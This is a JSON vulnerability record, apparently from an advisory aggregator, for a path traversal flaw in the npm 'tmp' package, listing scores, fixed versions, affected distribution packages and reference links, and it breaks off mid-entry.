{"id":"CVE-2026-44705","aliases":["AZL-89765","CLSA-2026-1775003186","CLSA-2026-1785117460","CLSA-2026-1785117462","CLSA-2026-1785204337","CLSA-2026-1785204339","CLSA-2026-1785204340","CLSA-2026-1785204341","CLSA-2026-1792777608","CLSA-2026-1793207018","CLSA-2026-1793209315","DEBIAN-CVE-2026-44705","EUVD-2026-36264","GHSA-ph9p-34f9-6g65","RHSA-2026:57590","RHSA-2026:59135","RHSA-2026:59136","ROOT-APP-NPM-CVE-2026-44705","UBUNTU-CVE-2026-44705"],"status":"published","title":"tmp: Path Traversal via unsanitized prefix/postfix enables directory escape","description":"tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00434,"percentile":0.37956,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-05-27T00:34:06Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"npm","package":"tmp","fixed_in":["0.2.6"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"tmp","fixed_in":["0.0.24-tuxcare.3","0.0.28-tuxcare.3","0.0.31-tuxcare.2","0.2.3-tuxcare.2","0.1.0-tuxcare.3","0.2.1-tuxcare.4","0.0.29-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tmp","fixed_in":["0.2.7+dfsg+~0.2.6-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tmp","fixed_in":["0.0.33-aikido.4","0.2.5-aikido.3","0.2.4-aikido.1","0.2.3-aikido.1","0.2.1-aikido.1","0.2.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tmp","fixed_in":["0.2.5-root.io.1","0.0.33-root.io.3","0.2.5-root.io.2","0.0.33-root.io.4","0.2.5-root.io.3","0.2.4-root.io.1","0.2.3-root.io.1","0.2.1-root.io.1","0.2.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.6"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.30-tuxcare.0"},{"fixed":"0.0.30-tuxcare.1"}]}],"versions":["0.0.30"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.24-tuxcare.0"},{"fixed":"0.0.24-tuxcare.3"}]}],"versions":["0.0.24","0.0.24-tuxcare.1","0.0.24-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.28-tuxcare.0"},{"fixed":"0.0.28-tuxcare.3"}]}],"versions":["0.0.28","0.0.28-tuxcare.1","0.0.28-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.31-tuxcare.0"},{"fixed":"0.0.31-tuxcare.2"}]}],"versions":["0.0.31","0.0.31-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.3-tuxcare.0"},{"fixed":"0.2.3-tuxcare.2"}]}],"versions":["0.2.3","0.2.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0-tuxcare.0"},{"fixed":"0.1.0-tuxcare.3"}]}],"versions":["0.1.0","0.1.0-tuxcare.1","0.1.0-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.1-tuxcare.0"},{"fixed":"0.2.1-tuxcare.4"}]}],"versions":["0.2.1","0.2.1-tuxcare.1","0.2.1-tuxcare.2","0.2.1-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.29-tuxcare.0"},{"fixed":"0.0.29-tuxcare.2"}]}],"versions":["0.0.29","0.0.29-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.5-tuxcare.0"},{"fixed":"0.2.5-tuxcare.1"}]}],"versions":["0.2.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.4-tuxcare.0"},{"fixed":"0.2.4-tuxcare.1"}]}],"versions":["0.2.4"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1","0.2.2+dfsg+~0.2.3-1.1~deb12u1","0.2.2+dfsg+~0.2.3-1.1~deb13u1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2","0.2.7+dfsg+~0.2.6-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1","0.2.2+dfsg+~0.2.3-1.1~deb12u1","0.2.2+dfsg+~0.2.3-1.1~deb13u1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2","0.2.7+dfsg+~0.2.6-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.7+dfsg+~0.2.6-1"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1","0.2.2+dfsg+~0.2.3-1.1~deb12u1","0.2.2+dfsg+~0.2.3-1.1~deb13u1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2"]},{"source":"osv","ecosystem":"npm","package":"tmp","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.6"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"rh-podman-desktop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.2-1.el10_2"}]}],"bundled":24},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260824-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260824-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.32-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el8ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9ap"}]}],"bundled":18},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.13-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el10","package":"python-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el10ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el10","package":"python3-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el10ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"python-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el10ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el10","package":"python3-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el10ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-django","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.2.17-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.16-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.16-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.7.16-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.59-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.6::el9","package":"python3.12-aiohttp-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.14.3-1.el9ap"}]}],"bundled":20},{"source":"osv","ecosystem":"Root:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33-aikido.4"},{"fixed":"0.2.5-aikido.3"},{"fixed":"0.2.4-aikido.1"},{"fixed":"0.2.3-aikido.1"},{"fixed":"0.2.1-aikido.1"},{"fixed":"0.2.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.5-root.io.1"},{"fixed":"0.0.33-root.io.3"},{"fixed":"0.2.5-root.io.2"},{"fixed":"0.0.33-root.io.4"},{"fixed":"0.2.5-root.io.3"},{"fixed":"0.2.4-root.io.1"},{"fixed":"0.2.3-root.io.1"},{"fixed":"0.2.1-root.io.1"},{"fixed":"0.2.6-root.io.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.25-1","0.0.28-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.31-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.33+dfsg-2","0.1.0+dfsg-2","0.1.0+dfsg-3","0.1.0+dfsg-6"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.1+dfsg-1","0.2.1+dfsg-2","0.2.1+dfsg+~0.2.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.5+dfsg+~0.2.6-2","0.2.7+dfsg+~0.2.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1.1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2"]}],"products":[{"vendor":"raszi","product":"node-tmp"},{"vendor":"raszi","product":"tmp"}],"references":[{"url":"https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44705","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-ph9p-34f9-6g65"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44705.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44705","tags":["advisory"]},{"url":"https://github.com/raszi/node-tmp","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:57590","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455470","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2476810","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477081","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477914","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487050","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487946","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488480","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488934","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489661","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2493633","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2494197","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2494813","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498116","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498120","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498122","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498127","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499682","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500656","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500695","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2506433","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2507595","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510719","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510722","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510801","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-238929","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-9595","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-9595","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9595","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://github.com/facebook/create-react-app/pull/7444","tags":["article"]},{"url":"https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb","tags":["article"]},{"url":"https://github.com/webpack/webpack-dev-server/pull/4316","tags":["article"]},{"url":"https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12143","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12143","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12143","tags":["advisory"]},{"url":"https://cwe.mitre.org/data/definitions/93.html","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045","tags":["article"]},{"url":"https://github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx","tags":["article"]},{"url":"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#multipart-form-data","tags":["article"]},{"url":"https://www.npmjs.com/package/form-data","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-13149","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-13149","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13149","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754","tags":["article"]},{"url":"https://www.npmjs.com/package/brace-expansion","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-13676","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-13676","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13676","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-4c8g-83qw-93j6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-14257","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-14257","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14257","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34986","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34986","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34986","tags":["advisory"]},{"url":"https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8","tags":["article"]},{"url":"https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42338","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42338","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42338","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42570","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42570","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42570","tags":["advisory"]},{"url":"https://github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d","tags":["article"]},{"url":"https://github.com/sveltejs/devalue/releases/tag/v5.8.1","tags":["article"]},{"url":"https://github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44705","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44705","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45623","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45623","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45736","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45736","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45736","tags":["advisory"]},{"url":"https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086","tags":["article"]},{"url":"https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45740","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45740","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45740","tags":["advisory"]},{"url":"https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48068","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48068","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48068","tags":["advisory"]},{"url":"https://github.com/grpc/grpc-node/security/advisories/GHSA-5375-pq7m-f5r2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48779","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48779","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48779","tags":["advisory"]},{"url":"https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8","tags":["article"]},{"url":"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48801","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48801","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48801","tags":["advisory"]},{"url":"https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159","tags":["article"]},{"url":"https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49978","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49978","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49978","tags":["advisory"]},{"url":"https://github.com/cure53/DOMPurify/commit/ca30f070c360df162a3e3848e80e6fd3c9e74bff","tags":["article"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.7","tags":["article"]},{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56876","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56876","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56876","tags":["advisory"]},{"url":"https://github.com/ziad626/extract-zip-security-research/security/advisories/GHSA-x7jf-2287-qcpf","tags":["article"]},{"url":"https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59869","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59869","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59869","tags":["advisory"]},{"url":"https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.0","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.0","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59873","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59873","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59873","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v7.5.19","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59874","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59874","tags"